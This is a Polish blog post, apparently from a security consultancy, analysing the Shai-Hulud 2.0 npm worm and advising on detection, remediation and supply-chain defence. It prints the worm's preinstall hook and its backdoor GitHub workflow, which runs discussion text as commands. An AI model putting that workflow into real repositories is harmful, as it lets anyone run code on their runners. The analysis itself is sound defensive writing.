Shai-Hulud 2.0: Największy Atak Supply-Chain na npm w 2025 Roku
Shai-Hulud 2.0: Największy Atak Supply-Chain na npm w 2025 Roku
Między 21 a 23 listopada 2025 roku ekosystem npm został dotknięty jednym z najbardziej agresywnych ataków typu supply-chain w historii. Kampania znana jako "Shai-Hulud 2.0" (przez atakujących określana jako "The Second Coming") skompromitowała 796 unikalnych pakietów npm z łączną liczbą ponad 20 milionów pobrań tygodniowo oraz utworzyła ponad 25,000 sfałszowanych repozytoriów GitHub w ciągu zaledwie kilku godzin.
Skala Katastrofy
To nie jest kolejny atak na npm. To kampania, która:
- Skompromitowała konta maintainerów najpopularniejszych pakietów npm
- Dotknęła główne organizacje: Zapier, PostHog, Postman, ENS Domains, AsyncAPI
- Ukradła setki tysięcy sekretów: 775 tokenów GitHub, 373 credentiale AWS, 300 GCP, 115 Azure
- Działa destrukcyjnie: jeśli nie może ukraść danych, niszczy cały katalog domowy użytkownika
- Rozprzestrzenia się automatycznie: jak worm, samoreplikuje się przez skompromitowane środowiska
Timeline Ataku
- Wrzesień 2025: Pierwsza wersja Shai-Hulud kradnie ~50 milionów dolarów w kryptowalutach
- 21-23 listopada 2025: Złośliwe pakiety npm zostają opublikowane
- 24 listopada, 01:22 UTC: Pierwsze repozytoria GitHub z wykradzionymi sekretami
- 24 listopada, ~03:00 UTC: Masowa publikacja złośliwych pakietów
- 25 listopada: Druga fala ataku wykorzystująca już skradzione dane
- 26 listopada, 09:00 UTC: GitHub rozpoczyna masową rewokację tokenów
W szczytowym momencie ataku około 1,000 nowych repozytoriów było tworzonych co 30 minut.
Jak Działa Atak?
1. Moment Aktywacji
W przeciwieństwie do tradycyjnego malware, Shai-Hulud 2.0 wykorzystuje npm preinstall lifecycle script. Oznacza to, że złośliwy kod wykonuje się:
- Przed zakończeniem instalacji pakietu
- Nawet jeśli instalacja się nie powiedzie
- W każdym środowisku - dev machines, CI/CD pipelines, production builds
{
"scripts": {
"preinstall": "node setup_bun.js"
}
}
2. Wektor Infekcji
Malware:
- Instaluje runtime Bun poprzez
setup_bun.js - Uruchamia
bun_environment.jszawierający payload - Skanuje system w poszukiwaniu credentiali:
- Pliki konfiguracyjne (
~/.aws/credentials,~/.azure/) - Zmienne środowiskowe
- Cloud metadata services (IMDS)
- GitHub API dla workflow secrets
- Pliki konfiguracyjne (
3. Eksfiltracja Danych
Ukradzione dane są publikowane do:
- Publicznych repozytoriów GitHub z opisem zawierającym "Shai-Hulud"
- Repozytoriów innych ofiar (cross-victim exfiltration)
- Analiza GitGuardian znalazła 11,858 unikalnych sekretów, z czego 2,298 nadal było ważnych 24 listopada
4. Persistence i Backdoor
Malware tworzy .github/workflows/discussion.yaml:
name: Discussion Handler
on:
discussion:
types: [created]
jobs:
handle:
runs-on: self-hosted
steps:
- run: ${{ github.event.discussion.body }}
To command injection backdoor - atakujący mogą wykonywać dowolny kod poprzez utworzenie GitHub discussion!
5. Destrukcyjność
Jeśli eksfiltracja się nie powiedzie, malware:
- Bezpiecznie nadpisuje każdy plik w katalogu domowym użytkownika
- Kasuje wszystkie pliki należące do bieżącego użytkownika
- Niszczy kompletnie środowisko deweloperskie
Skompromitowane Pakiety
Wśród 796 dotkniętych pakietów znalazły się:
Główne Organizacje
- Zapier - narzędzia integracyjne i automation
- PostHog - analytics i product intelligence
- Postman - tunnel agent (27% prevalence w przedsiębiorstwach)
- ENS Domains - Ethereum naming service
- AsyncAPI - dokumentacja API
Popularność
Niektóre skompromitowane pakiety miały:
- Miliony pobrań miesięcznie
- Tysiące zależnych pakietów
- Integrację w critical infrastructure
Jak Sprawdzić Czy Zostałeś Dotknięty?
1. Szukaj Podejrzanych Repozytoriów
# Sprawdź swoje repozytoria GitHub
gh repo list --limit 1000 --json name,description | \
grep -i "shai-hulud"
2. Audytuj npm Dependencies
# Sprawdź zainstalowane pakiety
npm list --depth=0 --json | \
jq '.dependencies | keys[]'
# Sprawdź daty instalacji
ls -lat node_modules/
3. Przeszukaj Logi CI/CD
Szukaj:
- Nieautoryzowanych GitHub workflow files
- Repozytoriów utworzonych między 21-26 listopada
- Podejrzanych instalacji pakietów npm
- Połączeń do nieznanych endpoints
4. Audytuj Credentiale
# Znajdź wszystkie potencjalnie skompromitowane pliki
find ~ -name "*.json" -o -name "*credentials*" -o \
-name "*.env" -mtime -14 -ls
Natychmiastowe Działania
KRYTYCZNE - Do Wykonania Teraz
- Wyczyść npm cache i node_modules
npm cache clean --force
rm -rf node_modules package-lock.json
- Przypnij zależności do bezpiecznych wersji
# Wróć do wersji sprzed 21 listopada 2025
npm ci --package-lock-only --before=2025-11-21
-
Rotuj WSZYSTKIE credentiale
- npm tokens
- GitHub Personal Access Tokens (PATs)
- Klucze SSH
- AWS/GCP/Azure credentials
- Database passwords
- API keys
-
Włącz phishing-resistant MFA wszędzie
-
Audytuj GitHub workflows
find .github/workflows -name "*.yml" -o -name "*.yaml" \
-mtime -14 -exec cat {} \;
Ochrona CI/CD
// .npmrc - wyłącz lifecycle scripts w CI
ignore-scripts=true
# GitHub Actions - ogranicz network access
jobs:
build:
runs-on: ubuntu-latest
container:
options: --network none
Długoterminowe Zabezpieczenia
1. Dependency Pinning
{
"dependencies": {
"express": "4.18.2", // dokładna wersja, nie ^4.18.2
"lodash": "4.17.21"
}
}
2. Automated Security Scanning
Zintegruj narzędzia:
- Snyk - vulnerability scanning
- Dependabot - automated updates
- Socket.dev - supply chain protection
- GitGuardian - secrets detection
3. Network Segmentation
- Odizoluj build environments od produkcji
- Ogranicz outbound access z CI/CD
- Używaj private npm registry
- Implementuj egress filtering
4. Short-Lived Credentials
# Używaj OIDC zamiast long-lived tokens
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/GitHubActions
aws-region: eu-central-1
Dlaczego To Się Stało?
Atak Shai-Hulud 2.0 ujawnił fundamentalne problemy w ekosystemie npm:
- Brak weryfikacji maintainerów - skompromitowane konta mogą publikować co chcą
- Automatyczne wykonywanie kodu - lifecycle scripts bez sandboxingu
- Zbyt duże uprawnienia - pakiety mają pełny dostęp do systemu
- Brak izolacji - jeden pakiet może skompromitować cały system
- Kultura "npm install" - ślepe zaufanie do dependencies
Znaczenie Proaktywnej Infrastruktury
W LWE Partners od lat mówimy: infrastruktura to nie tylko deployment - to kultura bezpieczeństwa.
Co Robimy Dla Naszych Klientów
-
Automated Dependency Scanning
- Continuous monitoring wszystkich dependencies
- Automated alerts przy wykryciu podatności
- Pull requesty z bezpiecznymi wersjami
-
Zero-Trust CI/CD
- Network isolation dla build environments
- Short-lived credentials tylko
- Artifact signing i verification
- Immutable build artifacts
-
Secrets Management
- Centralized vault (HashiCorp Vault, AWS Secrets Manager)
- Automatic rotation
- Auditing każdego dostępu
- Zero secrets w kodzie czy env files
-
Incident Response Plan
- Procedury na wypadek kompromitacji
- Automated rollback capabilities
- Communication protocols
- Regular drills i testing
Nasze Podejście Do Supply Chain Security
Implementujemy defense in depth:
┌─────────────────────────────────────┐
│ 1. Source Control Protection │
│ - Signed commits │
│ - Branch protection │
│ - Code review enforcement │
├─────────────────────────────────────┤
│ 2. Dependency Management │
│ - Private npm registry │
│ - Automated scanning │
│ - Pinned versions │
├─────────────────────────────────────┤
│ 3. Build Security │
│ - Isolated environments │
│ - No lifecycle scripts │
│ - Limited network access │
├─────────────────────────────────────┤
│ 4. Artifact Verification │
│ - SBOM generation │
│ - Signing & attestation │
│ - Provenance tracking │
├─────────────────────────────────────┤
│ 5. Runtime Protection │
│ - Container scanning │
│ - Runtime monitoring │
│ - Anomaly detection │
└─────────────────────────────────────┘
Koszt Kompromitacji
Shai-Hulud 2.0 pokazuje realne koszty słabego security:
- Finansowe: Pierwsza wersja ukradła ~$50M w crypto
- Reputacyjne: Dotknięte organizacje tracą zaufanie klientów
- Operacyjne: Dni/tygodnie na incident response
- Compliance: Potencjalne kary za wyciek danych
- Techniczne: Konieczność przebudowy całej infrastruktury
Nie Masz Zespołu Security?
To normalne. Większość firm:
- Nie ma dedykowanych security engineers
- Nie monitoruje supply chain 24/7
- Nie ma procedur incident response
- Nie testuje regularnie swojej obrony
To właśnie oferuje LWE Partners.
Pomagamy firmom budować bezpieczną infrastrukturę:
- Automated security scanning zintegrowane z CI/CD
- Secrets management bez dostępu developerów do produkcyjnych credentials
- Zero-trust architecture z principle of least privilege
- Incident response procedures z regular drills
- Compliance support dla GDPR, ISO 27001, SOC 2
Lekcje z Shai-Hulud 2.0
- Supply chain jest attack surface - każda dependency to potencjalne ryzyko
- Automation jest kluczowa - manualne procesy są zbyt wolne
- Defense in depth działa - jeden layer nie wystarcza
- Monitoring musi być proaktywny - reactive jest za późno
- Ludzie popełniają błędy - potrzebujemy systemów, które je wyłapują
Podsumowanie
Atak Shai-Hulud 2.0 to wake-up call dla całej branży. Pokazuje, że:
- Zaufanie musi być weryfikowane - nawet do popularnych pakietów
- Izolacja jest niezbędna - build environments potrzebują sandboxingu
- Credentiale muszą być krótkotrwałe - long-lived tokens to liability
- Monitoring musi być ciągły - ataki zdarzają się w weekendy
Jeśli nie jesteś pewien, czy Twoja infrastruktura jest zabezpieczona przed tego typu atakami, porozmawiajmy. W LWE Partners pomagamy firmom budować resilient, secure, i compliant cloud infrastructure - tak żeby mogli spać spokojnie, wiedząc że ich systemy są chronione.
Źródła:
Tags
Ready to Transform Your Business?
Let's discuss how we can help you achieve your goals.
Get in Touch →